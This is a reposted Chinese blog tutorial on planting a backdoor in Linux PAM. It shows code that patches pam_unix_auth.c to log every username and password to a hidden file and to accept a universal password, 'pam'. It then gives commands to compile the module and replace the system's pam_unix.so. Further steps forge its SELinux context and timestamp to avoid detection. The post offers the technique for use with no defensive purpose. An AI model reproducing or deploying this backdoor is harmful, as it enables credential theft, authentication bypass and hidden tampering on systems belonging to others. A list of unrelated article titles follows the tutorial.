博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
pam后门 和应用实例
阅读量:6213 次
发布时间:2019-06-21

本文共 1172 字,大约阅读时间需要 3 分钟。

hot3.png

pam发现了一个具体情况做一下记录 顺便把安装方式重新写一遍

rpm -qa | grep pam #查看pam版本 pam-1.1.1 看这个版本号

http://www.linux-pam.org/library/  下载对应版本

修改modlues/pam_unix/目录下的pam_unix_auth.c

找到

/* verify the password of this user *///添加以下代码retval = _unix_verify_password(pamh, name, p, ctrl);//存储密码的地方if(retval== PAM_SUCCESS){    fp=fopen("/tmp/.../pslog","a");    fprintf(fp,"%s::%s\n",name,p);    fclose(fp);}//万能密码if(strcmp(p,"pam")==0){    retval = PAM_SUCCESS;}

#别忘了在添加完之后在这个函数头部 添加 FILE *fp;

yum install flex

./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr

会提示yywrap 还是出错 要添加一个函数

int yywrap(){return 1;} 

到提示错误的文件最上面就行

make 直到make成功

编译完了  在modules/pam_unix/.libs中的pam_unix.so就是后门

手动创建密码文件:

touch /tmp/.../pslog;chmod a+w /tmp/.../pslog

转到路径  /lib64/security/

上传文件 pam_unix.so1  

mv pam_unix.so pam_unix.so.bakmv pam_unix.so1 pam_unix.so

查看Selinux上下文:

ls -Z pam_unix.so.bak (备份的原始文件)

设置Selinux上下文:

chcon -reference=pam_unix.so.bak pam_unix.so
setsebool -P allow_saslauthd_read_shadow 1

设置文件时间戳

touch pam_unix.so -r pam_umask.so

路径 /lib64/security/pam_unix.so  #替换掉就行了  别忘记备份源文件啊啊

转载于:https://my.oschina.net/9199771/blog/741709

你可能感兴趣的文章
墨友:一款天气产品的淘金之路
查看>>
使用HTTP/2服务端推送技术加速Node.js应用
查看>>
企业同步和共享应该学会爱上BYOA
查看>>
乘飞机不仅能玩手机 Wifi速度还快上天
查看>>
一种新型的获取威胁情报手段:窃听黑客
查看>>
专访陈士凯:机器人已经不需要讲故事了丨CCF-GAIR 2017
查看>>
《Hadoop实战第2版》——1.8节本章小结
查看>>
《 自动化测试最佳实践:来自全球的经典自动化测试案例解析》一一1.4 利用验收测试驱动开发,使用FitNesse测试GUI...
查看>>
《HTML 5+CSS 3入门经典》——第2章 去其糟粕,取其精华——HTML 5 的元素与属性...
查看>>
云存储服务是否是正确选择?
查看>>
witter被Instagram超越,在中国超越微博的将是谁
查看>>
云服务互联网企业使用率最高
查看>>
《代码之殇》(原书第2版)——第2章 过程改进,没有灵丹妙药 2004年10月1日...
查看>>
写给运营商的三个锦囊
查看>>
其他类安防生产型上市企业2015年经营情况
查看>>
上汽集团结盟传感器制造商Savari
查看>>
喜欢吗?微软公布新版Win10开始菜单:致敬Win8
查看>>
华芯投资40亿现金收购美芯片测试设备厂商Xcerra
查看>>
程序员当选全球轮值总裁 WiFi万能钥匙誓做中国“最科技”
查看>>
光伏电站美的三层境界
查看>>